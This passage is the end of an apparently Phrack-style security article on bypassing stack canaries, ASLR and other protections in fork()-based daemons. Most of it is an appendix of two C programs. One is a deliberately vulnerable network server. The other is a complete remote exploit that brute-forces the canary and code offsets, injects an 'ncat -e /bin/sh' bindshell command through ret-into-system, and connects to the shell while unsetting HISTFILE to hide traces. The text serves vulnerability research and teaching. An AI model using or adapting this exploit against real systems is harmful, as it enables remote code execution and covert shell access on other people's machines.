Thu May 13 17:07:21 CEST 2010 i686 i686 i386 GNU/Linuxexit; --------------------------------------------------------------------------- The demo exploit can be found in the appendix. It was tested on many systems including: *) Linux (Fedora 10, Fedora 11, Fedora 12) *) Linux with PaX patch (2.6.32.13-grsec) *) OpenBSD (4.4, 4.5, 4.6) *) FreeBSD (7.x) ---[ 6 - Conclusion Due to modern protections, classical methods of exploitation may or may not be sufficient to exploit remote stack overflows. We saw that in the context of fork()-only daemons a few conditions were sometimes sufficient for that purpose. At this moment I want to send some greetings... I know it is lame and unprofessional ;) -> Ewa - moja kochana dziewczyna ;) -> Akos Frohner, Tomasz Janiczek, Romain Wartel - you are good friends ;) -> snoop, phunk, thorkill, Piotr Bania, Gynvael Coldwind, andrewg, and #plhack@IRCNET "... opetani samotnoscia..." Best regards Adam Zabrocki. - "Ja tylko sprzatam..." ---[ 7 - References [1] http://phrack.org/issues.html?issue=56&id=5#article [2] The Shellcoder's Handbook - Chris Anley, John Heasman, Felix "FX" Linder, Gerardo Richarte [4] http://marc.info?m=97288542204811 [5] http://pax.grsecurity.net [6] http://www.trl.ibm.com/projects/security/ssp/ [7] http://gcc.gnu.org/gcc-4.1/changes.html [8] http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/ [9] http://sota.gen.nz/hawkes_openbsd.pdf [10] http://www.phrack.org/issues.html?issue=58&id=4 [11] http://seclists.org/bugtraq/1997/Aug/63 [12] http://phrack.org/issues.html?issue=59&id=9#article [13] http://www.phrack.org/issues.html?issue=63&id=14 ---[ 8 - Appendix - PoC ---[ 8.1 - The server (s.c) ----------------------------------- CUT ----------------------------------- /* * This is simple server which is vulnerable to stack overflow attack. * It was written for demonstration of the remote stack overflow attack in * modern *NIX systems - bypass everything - ASLR, AAAS, ESP, SSP * (ProPolice). * * Best regards, * Adam Zabrocki * -- * pi3 (pi3ki31ny) - pi3 (at) itsec pl * http://pi3.com.pl * */ #include #include #include #include #include #include #include #include #include #include #include #define PORT 666 #define PIDFILE "/var/run/vuln_server.pid" #define err_sys(a) {printf("%s[%s]\n",a,strerror(errno));exit(-1);} #define SA struct sockaddr #define SRV_BANNER "Some server launched by root user\n" int vuln_func(char *, int, int); void stack_dump(char *, char *); void sig_chld(int); int main(void) { int status,dlugosc,port=PORT,connfd,listenfd,kupa; struct sockaddr_in serv,client; char buf[200]; pid_t pid; FILE *logs; if ( (listenfd=socket(PF_INET, SOCK_STREAM, 0)) < 0) err_sys("Socket() error!\n"); bzero(&serv,sizeof(serv)); bzero(&client,sizeof(client)); serv.sin_family = PF_INET; serv.sin_port = htons(port); serv.sin_addr.s_addr=htonl(INADDR_ANY); if ( (bind(listenfd,(SA*)&serv,sizeof(serv))) != 0 ) err_sys("Bind() error!\n"); if ((listen(listenfd,2049)) != 0) err_sys("Listen() error!\n"); system("echo start"); status=fork(); if (status==-1) err_sys("[FATAL]: cannot fork!\n"); if (status!=0) { logs=fopen(PIDFILE, "w"); fprintf(logs,"pid = %u",status); printf("\nLaunched into background (pid: %d)\n\n", status); fclose(logs); logs=NULL; return 0; } status=0; signal (SIGCHLD,sig_chld); for (;;) { dlugosc = sizeof client; if((connfd=accept(listenfd,(SA*)&client,(socklen_t *)&dlugosc))< 0) err_sys("accept error !\n"); if ( (pid=fork()) == 0) { if ( close(listenfd) !=0 ) err_sys("close error !\n"); write(connfd, SRV_BANNER, strlen(SRV_BANNER)); for (;;) { bzero(buf,sizeof(buf)); kupa = recv(connfd, buf, sizeof(buf), 0); if ( (vuln_func(buf,connfd, kupa)) != 1) break; } close(connfd); exit(0); } else close(connfd); } } int vuln_func(char *args, int fd, int ile) { char buf[100]; memset(buf, 0, sizeof buf); if ( (strncmp(args,"vuln",4)) == 0) { #ifdef __DEBUG stack_dump("BEFORE", buf); #endif write(fd,"Vuln running...\nCopying bytes...",32); memcpy(buf,args+5,ile-5); #ifdef __DEBUG stack_dump("AFTER", buf); #endif write(fd,"\nDONE\nReturn to the main loop\n",30); return 1; } else if ( (strncmp(args,"quit",4)) == 0) { write(fd,"Exiting...\n",11); return 0; } else { write(fd,"help:\n",6); write(fd," [*] vuln \n",17); write(fd," [*] help\n",10); write(fd," [*] quit\n",10); return 1; } } void stack_dump(char *header, char *buf) { int i; unsigned int *p = (unsigned int *)buf; FILE *fp; fp=fopen("./dupa.txt","a"); fprintf(fp,"%s\n",header); for (i=0;i<240;) { fprintf(fp,"%.8x: %.8x %.8x %.8x %.8x\n", (unsigned int)p, *p, *(p+1), *(p+2), *(p+3)); p += 4; i += sizeof(int) *4; } fprintf(fp,"\n"); fclose(fp); return; } void sig_chld(int signo) { pid_t pid; int stat; while ( (pid = waitpid(-1, &stat, WNOHANG)) > 0) printf("child %d terminated\n",pid); return; } ----------------------------------- CUT ----------------------------------- ---[ 8.2 - The exploit (moj.c) ----------------------------------- CUT ----------------------------------- /* * This is Proof of Concept exploit which bypass everything (SSP * [pro-police], ASLR, AAAS, ESP) and use modified ret-into-libc technique * to execute shell. * * Article about modified ret-into-libc technique you can find on my web - * it was published some years ago on bugtraq and now it is very useful :) * * Ps. Address of ret-to-call_system@plt that you should change is * P_REL_CALLSYSTEM * The same you be done with directive P_REL_CALLVULN and P_REL_GOT. * P_REL_CALLWRITE (info leak) is unused in this version of PoC. * P_CMD holds the command which will be executed - you can change if * you want ;) * * Best regards, * Adam Zabrocki * -- * pi3 (pi3ki31ny) - pi3 (at) itsec pl * http://pi3.com.pl * */ #include #include #include #include #include #include #include #include #include #include #include #define PORT 666 #define BUFS 250 #define START 90 #define P_REL_CALLVULN 0xe0a #define P_REL_CALLWRITE 0xd6c #define P_REL_CALLSYSTEM 0xb9b #define P_REL_MASK 0x0FFF #define P_REL_GOT 0x25a4 // 0x2644 #define SA struct sockaddr /* Thic CMD variable is only for PoC. You should choose it individually */ //#define P_CMD "|| nc -l -p 4444 -e /bin/sh;" #define P_CMD "|| ncat -l -p 4444 -e /bin/sh;" int shell(int); int usage(char *arg) { printf("\n\t...::: -=[ Bypassing pro-police for PoC server by Adam " "'pi3 (pi3ki31ny)' Zabrocki ]=- :::...\n"); printf("\n\tUsage:\n\t[+] %s [options]\n",arg); printf(" -? \n"); printf(" -b \n"); printf(" -p port\n"); printf(" -v \n\n"); exit(-1); } int main(int argc, char *argv[]) { unsigned int brute = 0; int ret, *buf_addr, global_cnt = 0; char *buf,read_buf[4096],cannary[0x4] = { 0x0, 0x0, 0x0, 0x0 }; struct sockaddr_in servaddr; struct hostent *h; int elo, port=PORT, opt, sockfd, test=0, offset=0, test2 = 0; int helper = 0, position_found = 0; int write_addr = 0, system_addr = 0; struct timeval tv; while((opt = getopt(argc,argv,"p:b:v:?")) != -1) { switch(opt) { case 'b': sscanf(optarg,"%x",&brute); break; case 'p': port=atoi(optarg); break; case 'v': test=1; if ( (h=gethostbyname(optarg)) == NULL) { printf("gethostbyname() failed!\n"); exit(-1); } break; case '?': default: usage(argv[0]); } } if (test==0) usage(argv[0]); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(port); servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_addr = *(struct in_addr*)*h->h_addr_list; if (!(buf=(char*)malloc(BUFS))) { exit(-1); } setbuf(stdout,NULL); printf("\n\t...::: -=[ Bypassing pro-police PoC for server by Adam " "'pi3 (pi3ki31ny)' Zabrocki ]=- :::...\n"); printf("\n\t[+] Trying to find the position of the canary...\n"); for (position_found=0;!position_found;global_cnt++) { memset(buf,0x0,BUFS); strcpy(buf,"vuln "); memset(&buf[5], 0x41, START+global_cnt); if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) { printf("Socket() error!\n"); exit(-1); } if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) { printf("Connect() error!\n"); exit(-1); } /* // You can optimize waiting via timeout tv.tv_sec=0,tv.tv_usec=40000; if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) != 0) { printf("setsockopt() error!\n"); exit(-1); } */ bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,sizeof(read_buf)); write(sockfd,buf,strlen(buf)); bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,32); bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,30); write(sockfd,"quit",4); bzero(read_buf,sizeof(read_buf)); ret = read(sockfd,read_buf,sizeof(read_buf)); if(ret <= 0) { printf("\t[+] Found the canary! => offset = %d (+%d)\n", START+global_cnt,global_cnt); position_found = 1; } close(sockfd); } printf("\t[+] Trying to find the canary...\n"); global_cnt--; for (elo=0;elo<4;elo++) { for (opt=0; opt<256; opt++) { memset(buf,0x0,BUFS); strcpy(buf,"vuln "); memset(&buf[5], 0x41, START+global_cnt); memcpy(&buf[5+START+global_cnt-1], cannary, elo); buf[5+START+global_cnt-1+elo]=opt; if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) { printf("socket() error!\n"); exit(-1); } if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) < 0) { printf("connect() error!\n"); exit(-1); } /* // You can optimize waiting via timeout tv.tv_sec=0,tv.tv_usec=40000; if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) != 0) { printf("setsockopt() error!\n"); exit(-1); } */ bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,sizeof(read_buf)); do { unsigned int an_egg = START+global_cnt+5+elo; write(sockfd,buf,an_egg); } while(0); bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,32); bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,30); write(sockfd,"quit",4); bzero(read_buf,sizeof(read_buf)); ret = read(sockfd,read_buf,sizeof(read_buf)); if (ret > 0) { printf("\t[+] Found byte! => 0x%02x\n",opt); cannary[elo] = opt; close(sockfd); break; } /* If we miss somehow the byte... */ if (opt == 255) opt = 0x0; close(sockfd); } } printf("\t[+] Overwriting frame pointer (EBP?)...\n"); printf("\t[+] Overwriting instruction pointer (EIP?)...\n"); printf("\t[+] Starting bruteforce...\n"); for (offset=0,test2=0x0,opt=0;test&&!offset;test2++,opt++) { memset(buf,0,BUFS); strcpy(buf,"vuln "); memset(&buf[5], 0x41, START+global_cnt); memcpy(&buf[5+START+global_cnt-1], cannary, elo); buf_addr=(int*)&buf[5+START+global_cnt-1+elo]; helper = (P_REL_CALLVULN & P_REL_MASK) | (test2 << 12); *(buf_addr++) = 0xdeadbabe; *(buf_addr++) = (P_REL_GOT + (test2 << 12)); // used by the GOT. *(buf_addr++) = helper; if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) { printf("socket() error!\n"); exit(-1); } if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) { printf("connect() error!\n"); exit(-1); } /* // You can optimize waiting via timeout tv.tv_sec=0,tv.tv_usec=40000; if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) != 0) { printf("setsockopt() error!\n"); exit(-1); } */ bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,sizeof(read_buf)); write(sockfd,buf,5+START+global_cnt-1+elo+(4-1)*4); bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,32); bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,30); write(sockfd,"quit",4); bzero(read_buf,sizeof(read_buf)); ret = read(sockfd,read_buf,sizeof(read_buf)); if(ret > 0) { /* At that point we successfully called vuln_func() which means that we "probably" returned in [I1] e67: 8b 44 24 1c mov 0x1c(%esp),%eax e6b: 89 44 24 08 mov %eax,0x8(%esp) e6f: 8b 44 24 24 mov 0x24(%esp),%eax e73: 89 44 24 04 mov %eax,0x4(%esp) e77: 8d 44 24 34 lea 0x34(%esp),%eax e7b: 89 04 24 mov %eax,(%esp) e7e: e8 3e 00 00 00 call ec1 [I1] */ write_addr = (P_REL_CALLWRITE & P_REL_MASK) | (test2 << 12); system_addr = (P_REL_CALLSYSTEM & P_REL_MASK) | (test2 << 12); printf("\t[+] Success! :) (0x%.8x)\n",helper); printf("\t\t-> @call_write = 0x%.8x\n",write_addr); printf("\t\t-> @call_system = 0x%.8x\n",system_addr); offset=1; } close(sockfd); } if (!offset) { printf("\t[-] Exploit Failed! :(\n\n"); exit(-1); } printf("\t[+] Trying ret-into-system...\n"); memset(buf,0x0,BUFS); strcpy(buf,"vuln "); memset(&buf[5], 0x41, START+global_cnt); memcpy(&buf[5], P_CMD, strlen(P_CMD)); memcpy(&buf[5+START+global_cnt-1], cannary, elo); buf_addr=(int*)&buf[5+START+global_cnt-1+elo]; test2--; *(buf_addr++) = 0xdeadbabe; *(buf_addr++) = (P_REL_GOT + (test2 << 12)); // used by the GOT. *(buf_addr++) = 0x41414141; *(buf_addr++) = system_addr; if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) { printf("Socket() error!\n"); exit(-1); } if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) { printf("Connect() error!\n"); exit(-1); } /* // You can optimize waiting via timeout tv.tv_sec=0,tv.tv_usec=40000; if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) != 0) { printf("setsockopt() error!\n"); exit(-1); } */ bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,sizeof(read_buf)); write(sockfd,buf,4+START+global_cnt+4+4*4); bzero(read_buf,sizeof(read_buf)); ret = read(sockfd,read_buf,32); bzero(read_buf,sizeof(read_buf)); ret = read(sockfd,read_buf,30); if(ret == 30) { printf("\t[+] Connecting to bindshell...\n\n"); sleep(2); if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) { printf("Socket() error!\n"); exit(-1); } servaddr.sin_port = htons(4444); if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) <0 ) { printf("Connect() error!\n"); exit(-1); } shell(sockfd); } return 0; } int shell(int fd) { int rd ; fd_set rfds; static char buff[1024]; char INIT_CMD[] = "echo \"pi3 was here :-)\"; " "echo \"Executing shell...\"; " "unset HISTFILE; echo; id; uname -a\n"; write(fd, INIT_CMD, strlen( INIT_CMD )); while (1) { FD_ZERO(&rfds); FD_SET(0, &rfds); FD_SET(fd, &rfds); if (select(fd+1, &rfds, NULL, NULL, NULL) < 1) { perror("[-] Select"); exit( EXIT_FAILURE ); } if (FD_ISSET(0, &rfds)) { if ( (rd = read(0, buff, sizeof(buff))) < 1) { perror("[-] Read"); exit(EXIT_FAILURE); } if (write(fd,buff,rd) != rd) { perror("[-] Write"); exit( EXIT_FAILURE ); } } if (FD_ISSET(fd, &rfds)) { if ( (rd = read(fd, buff, sizeof(buff))) < 1) { exit(EXIT_SUCCESS); } write(1, buff, rd); } } } ----------------------------------- CUT -----------------------------------